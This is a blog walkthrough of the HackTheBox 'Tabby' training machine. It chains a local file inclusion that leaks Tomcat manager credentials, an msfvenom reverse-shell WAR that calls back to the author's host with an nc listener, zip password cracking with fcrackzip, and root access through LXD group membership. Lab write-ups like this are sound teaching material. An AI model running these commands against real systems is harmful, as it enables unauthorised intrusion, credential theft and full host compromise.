Tabby - HackTheBox
Abass Sesay
Posted on November 6, 2020
TL;DR
Foothold for this box involved LFI coupled with Tomcat Manger App exploit. Once on the box, gaining User access requires enumeration, enumeration, enumeration. Gaining root require exploit a legitimate application, LXC.
Reconnaissance
Nmap to the rescue for recon. This will give us an idea of the potential attack vectors.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open http Apache Tomcat
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
12712/tcp closed unknown
26817/tcp closed unknown
27436/tcp closed unknown
34408/tcp closed unknown
46483/tcp closed unknown
61123/tcp closed unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The 2 open http ports (80 & 8080), are the primary focus to gain initial foothold.
Hosted at port 80 is a PHP website offering hosting services.
It is always a good practice to view the source of the page. From here you can see Local File Inclusion (LFI) is possible. You can try grabbing the file such as the "/etc/passwd". More on this later.
Navigating to the site hosted at port 8080, we see the welcome page shows that tomcat9 is installed and also provides links to Tomcat manager app. This app is the route to getting initial foothold but you will need valid credentials.
With a valid credential, you can deploy a rogue app that would then give us access. As per the Tomcat documentation, the users that can access the manager application are in $CATALINA_BASE/conf/tomcat-users.xml. The goal now is to use the LFI from port 80 to grab the contents of the tomcat-users.xml. Using the $CATALINA_BASE dir listed on the webpage, you cannot get the users file. Searching around, you will find a file list for tomcat9. From this list you can see that the full directory of the user file is "/usr/share/tomcat9/etc/tomcat-users.xml". With the LFI on port 80, we can get the context of this file.
kali@kali:~/HTB/Tabby$ curl http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<!--
NOTE: By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary. It is
strongly recommended that you do NOT use one of the users in the commented out
section below since they are intended for use with the examples web
application.
-->
<!--
NOTE: The sample user and role entries below are intended for use with the
examples web application. They are wrapped in a comment and thus are ignored
when reading this file. If you wish to configure these users for use with the
examples web application, do not forget to remove the <!.. ..> that surrounds
them. You will also need to set the passwords to something appropriate.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>
As you can see the both the username and password for the manager app are in the user file.
Keep in mind that if you do this through the browser, you will get a blank page. You would have to view the content of the page to see the config file. This is because none of the tags are valid HTML tags.
Foothold
Now that we have creds, the next step if to gain a foothold in the system. Going back to port 8080, we can log into the manager app with the username and password. The application will accept the credential for basic authentication, but it will show you a 403 error. This is because our user does not have the "manager-gui" role.
You can use the credential with curl to upload rogue application that will then give you a foothold. To generate the java war file that will be deployed on the server, you can leverage msfvenom or write one. I went with the former.
kali@kali:~/HTB/Tabby$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.14 LPORT=1337 -f war > revshell.war
Payload size: 1089 bytes
Final size of war file: 1089 bytes
This file can now be deployed and be accessed at a specified endpoint (/foo).
kali@kali:~/HTB/Tabby$ pass="\$3cureP4s5w0rd123!"
kali@kali:~/HTB/Tabby$ curl -v -u tomcat:$pass --upload-file revshell.war "http://10.10.10.194:8080/manager/text/deploy?path=/foo&update=true"
* Trying 10.10.10.194:8080...
* Connected to 10.10.10.194 (10.10.10.194) port 8080 (#0)
* Server auth using Basic with user 'tomcat'
> PUT /manager/text/deploy?path=/foo&update=true HTTP/1.1
> Host: 10.10.10.194:8080
> Authorization: Basic dG9tY2F0OiQzY3VyZVA0czV3MHJkMTIzIQ==
> User-Agent: curl/7.72.0
> Accept: */*
> Content-Length: 1089
> Expect: 100-continue
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 100
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Cache-Control: private
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Content-Type-Options: nosniff
< Content-Type: text/plain;charset=utf-8
< Transfer-Encoding: chunked
< Date: Thu, 05 Nov 2020 05:08:56 GMT
<
OK - Deployed application at context path [/foo]
* Connection #0 to host 10.10.10.194 left intact
Now all you have to do is navigate to "http://10.10.10.194:8080/foo/" to start a reverse shell.
kali@kali:~/HTB/Tabby$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.194] 60742
python3 -c "import pty;pty.spawn('/bin/bash')"
tomcat@tabby:/var/lib/tomcat9$ ^Z
[1]+ Stopped nc -lvnp 1337
kali@kali:~/HTB/Tabby$ stty raw -echo
kali@kali:~/HTB/Tabby$ nc -lvnp 1337
tomcat@tabby:/var/lib/tomcat9$
tomcat@tabby:/var/lib/tomcat9$ export TERM=xterm
Do the following to improve your shell experience and get a fully interactive TTY.
{In remote shell}
python3 -c "import pty;pty.spawn('/bin/bash')"
[Ctrl-Z]
{In local shell}
stty raw -echo
fg [enter] [enter]
{In remote shell}
export TERM=xterm
User Exploit
Running Linpeas, you see that the user on the box; ash, has a password protected backup zip file.
[+] Backup files?
-rw-r--r-- 1 ash ash 8716 Jun 16 13:42 /var/www/html/files/16162020_backup.zip
-rw-r--r-- 1 root root 2743 Apr 23 2020 /etc/apt/sources.list.curtin.old
You can use the tool fcrackzip to recover the password
kali@kali:~/HTB/Tabby$ fcrackzip -D -p /usr/share/wordlists/rockyou.txt ash.zip
possible pw found: admin@it ()
There is not much to the zip file, but you can use this password to pivot to the user ash and get the user flag.
tomcat@tabby:/tmp$ su ash
Password:
ash@tabby:~$ ls -al
total 28
drwxr-x--- 3 ash ash 4096 Jun 16 13:59 .
drwxr-xr-x 3 root root 4096 Jun 16 13:32 ..
lrwxrwxrwx 1 root root 9 May 21 20:32 .bash_history -> /dev/null
-rw-r----- 1 ash ash 220 Feb 25 2020 .bash_logout
-rw-r----- 1 ash ash 3771 Feb 25 2020 .bashrc
drwx------ 2 ash ash 4096 May 19 11:48 .cache
-rw-r----- 1 ash ash 807 Feb 25 2020 .profile
-rw-r----- 1 ash ash 0 May 19 11:48 .sudo_as_admin_successful
-rw-r----- 1 ash ash 33 Nov 5 05:41 user.txt
ash@tabby:~$ wc -l user.txt
1 user.txt
ash@tabby:~$ wc user.txt
1 1 33 user.txt
ash@tabby:~$
More Reconnaissance
Moving on to root privesc, more recon is needed. Again, from Linpeas results, you can see that the user ash is part of the lxd group. The provides a path to escalate to root. LXC is a lightweight virtualization technology and LXD is the corresponding hypervisor.
[+] All users & groups
uid=0(root) gid=0(root) groups=0(root)
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=102(systemd-timesync) gid=104(systemd-timesync) groups=104(systemd-timesync)
...
A member of the group escalate to root easily because LXD is a root process that carries out action on behalf of the user. You can find a much detailed explanation here.
Root Exploit
The gist of what needs to get done is as follows :
- Download and build the latest alpine container from github. You will need to do this on your local system.
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
- When the build completes, transfer the tar file generated to the victim machine (assuming you are running a webserver at port 8000)
ash@tabby:~$ wget http://10.10.14.14:8000/lxd-alpine-builder/alpine-v3.12-x86_64-20200823_2337.tar.gz
--2020-11-05 07:11:27-- http://10.10.14.14:8000/lxd-alpine-builder/alpine-v3.12-x86_64-20200823_2337.tar.gz
Connecting to 10.10.14.14:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3183908 (3.0M) [application/gzip]
Saving to: 'alpine-v3.12-x86_64-20200823_2337.tar.gz'
alpine-v3.12-x86_64 100%[===================>] 3.04M 1.57MB/s in 1.9s
2020-11-05 07:11:29 (1.57 MB/s) - 'alpine-v3.12-x86_64-20200823_2337.tar.gz' saved [3183908/3183908]
- Import this image on the victim machine and then initialize lxd and lxc.
ash@tabby:~$ lxc image import ./alpine-v3.12-x86_64-20200823_2337.tar.gz --alias bas
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (dir, lvm, ceph, btrfs) [default=btrfs]:
Create a new BTRFS pool? (yes/no) [default=yes]:
Would you like to use an existing block device? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=15GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, "auto" or "none") [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, "auto" or "none") [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
ash@tabby:~$ lxc init bas privs -c security.privileged=true
Creating privs
- Mount the root directory inside the container
ash@tabby:~$ lxc config device add privs mydevice disk source=/ path=/mnt/root recursive=true
With the whole setup completed, now you can start a shell in the container. From here on you then navigate to the mount point "/mnt/root".
ash@tabby:~$ lxc start privs
ash@tabby:~$ lxc exec privs /bin/sh
~ # id
uid=0(root) gid=0(root)
~ # cd /mnt/root
/mnt/root # ls
bin home lost+found root swap.img
boot lib media run sys
cdrom lib32 mnt sbin tmp
dev lib64 opt snap usr
etc libx32 proc srv var
/mnt/root # cd root/
/mnt/root/root # ls
root.txt snap
/mnt/root/root #
We can now get the root flag from the context of the lxc container.
Posted on November 6, 2020
Join Our Newsletter. No Spam, Only the good stuff.
Sign up to receive the latest update from our blog.